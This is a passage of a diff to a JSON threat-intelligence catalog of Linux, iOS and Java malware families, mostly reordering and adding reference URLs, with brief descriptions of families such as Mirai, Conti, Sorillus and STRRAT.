"https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf" ], "synonyms": [ @@ -3476,15 +3653,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.conti", + "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.youtube.com/watch?v=cYx7sQRbjGA", - "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru" + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://www.youtube.com/watch?v=cYx7sQRbjGA" ], "synonyms": [ "Conti Locker" @@ -3527,8 +3706,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r", "https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html", - 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"https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm", - "https://research.checkpoint.com/new-iot-botnet-storm-coming/" + "https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm" ], "synonyms": [ "IoTroop", @@ -4337,11 +4531,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ipstorm", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network", "https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf" + "https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/" ], "synonyms": [ "InterPlanetary Storm" @@ -4369,11 +4563,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji", - 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Written in Rust.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.manjusaka", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", + "https://github.com/avast/ioc/tree/master/Manjusaka" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cd3a3a96-af66-4470-8115-b8bf3eef005a", + "value": "Manjusaka (ELF)" + }, { "description": "Masuta takes advantage of the EDB 38722 D-Link exploit.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta", - "https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/", "https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7", + "https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/", "https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes" ], "synonyms": [ @@ -4674,11 +4900,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.messagetap", - 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"https://cert.gov.ua/article/37139", - "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/", - "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - "https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.crowdstrike.com/blog/linux-mirai-malware-double-on-stronger-chips/", "https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093", - "https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/", + "https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html", + "https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/", + "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/", + "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://www.fortinet.com/blog/threat-research/totolink-vulnerabilities-beastmode-mirai-campaign", + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot", "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", - 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"https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", + "https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/", + "https://cert.gov.ua/article/37139", + "https://cybersecurity.att.com/blogs/labs-research/malware-hosting-domain-cyberium-fanning-out-mirai-variants", + "https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet", + "https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/", + "http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet", "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/" ], "synonyms": [ @@ -4816,11 +5045,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot", - 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"https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape" + "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020" ], "synonyms": [], "type": [] @@ -5132,12 +5375,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities", - "https://cujo.com/iot-malware-journals-prometei-linux/", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://twitter.com/IntezerLabs/status/1338480158249013250", "https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" + "https://twitter.com/IntezerLabs/status/1338480158249013250", + "https://cujo.com/iot-malware-journals-prometei-linux/" ], "synonyms": [], "type": [] @@ -5150,8 +5393,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pro_ocean", - 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"https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices", - "https://us-cert.cisa.gov/ncas/alerts/aa20-209a", "https://bin.re/blog/the-dga-of-qsnatch/", + "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf", "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html", "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf", - "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf" + "https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices", + "https://us-cert.cisa.gov/ncas/alerts/aa20-209a" ], "synonyms": [], "type": [] @@ -5248,8 +5491,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ragnarlocker", - "https://twitter.com/malwrhunterteam/status/1475568201673105409", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html" + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://twitter.com/malwrhunterteam/status/1475568201673105409" ], "synonyms": [], "type": [] @@ -5262,8 +5505,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rakos", - "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/", - "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/16/22" + "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/16/22", + "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/" ], "synonyms": [], "type": [] @@ -5276,22 +5519,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx", - "https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - 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Encryption procedure uses the NTRUEncrypt public-key encryption algorithm.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.red_alert", + "https://www.bleepingcomputer.com/news/security/new-redalert-ransomware-targets-windows-linux-vmware-esxi-servers/", + "https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/" + ], + "synonyms": [ + "N13V" + ], + "type": [] + }, + "uuid": "12137c8d-d3f4-44fe-b25e-2fb5f90cecce", + "value": "RedAlert Ransomware" + }, { "description": "A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. 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"https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/" + "https://blog.radware.com/security/botnets/2018/02/new-satori-botnet-variant-enslaves-thousands-dasan-wifi-routers/", + "https://www.arbornetworks.com/blog/asert/the-arc-of-satori/" ], "synonyms": [], "type": [] @@ -5530,8 +5820,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sbidiot", "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", - "https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/", - "https://www.nozominetworks.com/blog/threat-intelligence-analysis-of-the-sbidiot-iot-malware/" + "https://www.nozominetworks.com/blog/threat-intelligence-analysis-of-the-sbidiot-iot-malware/", + "https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/" ], "synonyms": [], "type": [] @@ -5565,6 +5855,19 @@ "uuid": "51da734c-70dd-4337-ab08-ab61457e0da5", "value": "Shishiga" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sidewalk", + "https://www.welivesecurity.com/2022/09/14/you-never-walk-alone-sidewalk-backdoor-linux-variant/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ec994efc-a8a4-4e92-ada2-e37d421baf01", + "value": "SideWalk (ELF)" + }, { "description": "", "meta": { @@ -5585,8 +5888,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.slapstick", - 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"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://unit42.paloaltonetworks.com/a-look-into-fysbis-sofacys-linux-backdoor/", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" ], "synonyms": [ "chopstick", @@ -6197,9 +6522,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xanthe", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", - "https://blog.talosintelligence.com/2020/12/xanthe-docker-aware-miner.html", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775" + "https://blog.talosintelligence.com/2020/12/xanthe-docker-aware-miner.html" ], "synonyms": [], "type": [] @@ -6225,6 +6550,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash", + "https://unit42.paloaltonetworks.com/atoms/agedlibra/", "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" ], "synonyms": [], @@ -6238,23 +6564,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", - "https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/", - "https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/", - "https://blog.checkpoint.com/wp-content/uploads/2015/10/sb-report-threat-intelligence-groundhog.pdf", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", - "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", - "https://en.wikipedia.org/wiki/Xor_DDoS", - "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", - "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", + "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/", "https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/", "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", - "https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/", - "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/" + "https://en.wikipedia.org/wiki/Xor_DDoS", + "https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/", + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", + "https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html", + "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", + "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", + "https://blog.checkpoint.com/wp-content/uploads/2015/10/sb-report-threat-intelligence-groundhog.pdf", + "https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/" ], "synonyms": [ "XORDDOS" @@ -6353,9 +6679,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ios.lightspy", - "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/", - "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf" + "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf", + "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/" ], "synonyms": [], "type": [] @@ -6384,8 +6710,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ios.poisoncarp", "https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/", - "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html" + "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/" ], "synonyms": [ "INSOMNIA" @@ -6426,8 +6752,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ios.xagent", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", - "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-ios-espionage-app-found/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-ios-espionage-app-found/", + "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], "synonyms": [], "type": [] @@ -6440,21 +6766,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind", - "https://dissectingmalware.blogspot.com/2018/08/export-jratadwind-config-with-x32dbg.html", - "https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://blogs.seqrite.com/evolution-of-jrat-java-malware/", - "https://research.checkpoint.com/malware-against-the-c-monoculture/", - "http://malware-traffic-analysis.net/2017/07/04/index.html", - "http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat", - "https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885", - "https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.zscaler.com/blogs/research/compromised-wordpress-sites-used-distribute-adwind-rat", - "https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/", - "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://citizenlab.ca/2015/12/packrat-report/" + "https://citizenlab.ca/2015/12/packrat-report/", + "https://www.zscaler.com/blogs/research/compromised-wordpress-sites-used-distribute-adwind-rat", + "https://dissectingmalware.blogspot.com/2018/08/export-jratadwind-config-with-x32dbg.html", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885", + "http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat", + "https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html", + "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "http://malware-traffic-analysis.net/2017/07/04/index.html", + "https://research.checkpoint.com/malware-against-the-c-monoculture/", + "https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html", + "https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/", + "https://blogs.seqrite.com/evolution-of-jrat-java-malware/" ], "synonyms": [ "AlienSpy", @@ -6488,9 +6814,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload", + "https://colin.guru/index.php?title=Advanced_Banload_Analysis", "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf", - "https://colin.guru/index.php?title=Advanced_Banload_Analysis" + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload" ], "synonyms": [], "type": [] @@ -6516,8 +6842,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat", - "https://objective-see.com/blog/blog_0x28.html", - "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", + "https://objective-see.com/blog/blog_0x28.html" ], "synonyms": [ "Trupto" @@ -6601,9 +6927,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat", - "https://www.eff.org/files/2018/01/29/operation-manul.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/", "https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/", + "https://www.eff.org/files/2018/01/29/operation-manul.pdf", "https://research.checkpoint.com/malware-against-the-c-monoculture/", "https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered" ], @@ -6633,8 +6959,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.octopus_scanner", - "http://blog.nsfocus.net/github-ocs-0605/", - "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain" + "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", + "http://blog.nsfocus.net/github-ocs-0605/" ], "synonyms": [], "type": [] @@ -6660,13 +6986,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler", - "https://www.securityinbits.com/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/", - "https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/", - "https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/", - "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer", - "https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/", "https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf", - "https://www.herbiez.com/?p=1352" + "https://www.securityinbits.com/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/", + "https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/", + "https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/", + "https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/", + "https://www.herbiez.com/?p=1352", + "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer" ], "synonyms": [ "Pyrogenic Infostealer" @@ -6682,9 +7008,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT--Remote-Access-as-a-Service/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/", + "https://www.digitrustgroup.com/java-rat-qrat/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-qnode-rat-downloader-distributed-as-trump-video-scandal/", - "https://www.digitrustgroup.com/java-rat-qrat/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/" ], "synonyms": [ "Quaverse RAT" @@ -6708,23 +7034,36 @@ "uuid": "da032a95-b02a-4af2-b563-69f686653af4", "value": "Ratty" }, + { + "description": "Sorillus is a Java-based multifunctional remote access trojan (RAT) which targets Linux, macOS and Windows operating systems. While it was first created in 2019, interest in the tool has increased considerably in 2022. Beginning on January 18, 2022, different obfuscated client versions of the tool started to be uploaded to VirusTotal. Sorillus' features are described in detail on its website (hxxps://sorillus[.]com). The tool supposedly costs 49.99€ for lifetime access but is currently available at a discounted 19.99€. Conveniently, the Sorillus can be purchased via a variety of cryptocurrencies. The tool's creator and distributor, a YouTube user known as \"Tapt\", asserts that the tool is able to collect the following information from its target:\r\n- HardwareID\r\n- Username\r\n- Country\r\n- Language\r\n- Webcam\r\n- Headless\r\n- Operating system\r\n- Client Version", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/jar.sorillus", + "https://abnormalsecurity.com/blog/tax-customers-sorillus-rat" + ], + "synonyms": [], + "type": [] + }, + "uuid": "80694785-aeb6-4e05-a3e8-cb972993d769", + "value": "Sorillus RAT" + }, { "description": "STRRAT is a Java-based RAT, which makes extensive use of plugins to provide full remote access to an attacker, as well as credential stealing, key logging and additional plugins. The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.\r\n\r\nSince Version 1.2 and above, STRRAT was infamous for its ransomware-like behavior of appending the file name extension .crimson to files. Version 1.5 is notably more obfuscated and modular than previous versions, but the backdoor functions mostly remain the same: collect browser passwords, run remote commands and PowerShell, log keystrokes, among others. Version 1.5 of STRRAT Malware includes a proper encryption routine, though currently pretty simple to revert.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://twitter.com/MsftSecIntel/status/1395138347601854465", - "https://www.gdatasoftware.com/blog/strrat-crimson", - "https://isc.sans.edu/diary/rss/27798", - "https://www.jaiminton.com/reverse-engineering/strrat", "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - 